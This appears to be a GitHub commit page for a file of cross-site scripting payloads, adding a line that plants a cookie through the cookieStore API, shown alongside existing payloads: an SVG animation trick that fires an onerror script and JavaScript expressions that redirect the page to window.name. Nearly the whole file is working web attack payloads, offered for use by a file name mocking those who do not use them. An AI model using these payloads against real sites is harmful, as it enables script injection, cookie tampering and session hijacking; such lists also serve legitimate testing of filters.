Update no-experience-required-xss-signatures-only-fools-dont-use.txt

https://twitter.com/kinugawamasato/status/1732106226602020995
xsscx · Dec 5, 2023 · fea3097 · fea3097
1 parent 3538a44
commit fea3097
Showing 1 changed file with 1 addition and 0 deletions.
diff --git a/no-experience-required-xss-signatures-only-fools-dont-use.txt b/no-experience-required-xss-signatures-only-fools-dont-use.txt
@@ -1,3 +1,4 @@
+<input id=input name=cookieName value=cookieValue><script>cookieStore.set(input);</script>
 <svg><use><set atrributeName="href" to="data:image/svg+xml,&lt;svg id='x' xmlns='http://w3.org/2000/svg'&gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
 x(""+{a:location=name}+"")
 x(""+new class b{toString=e=>location=name}+"")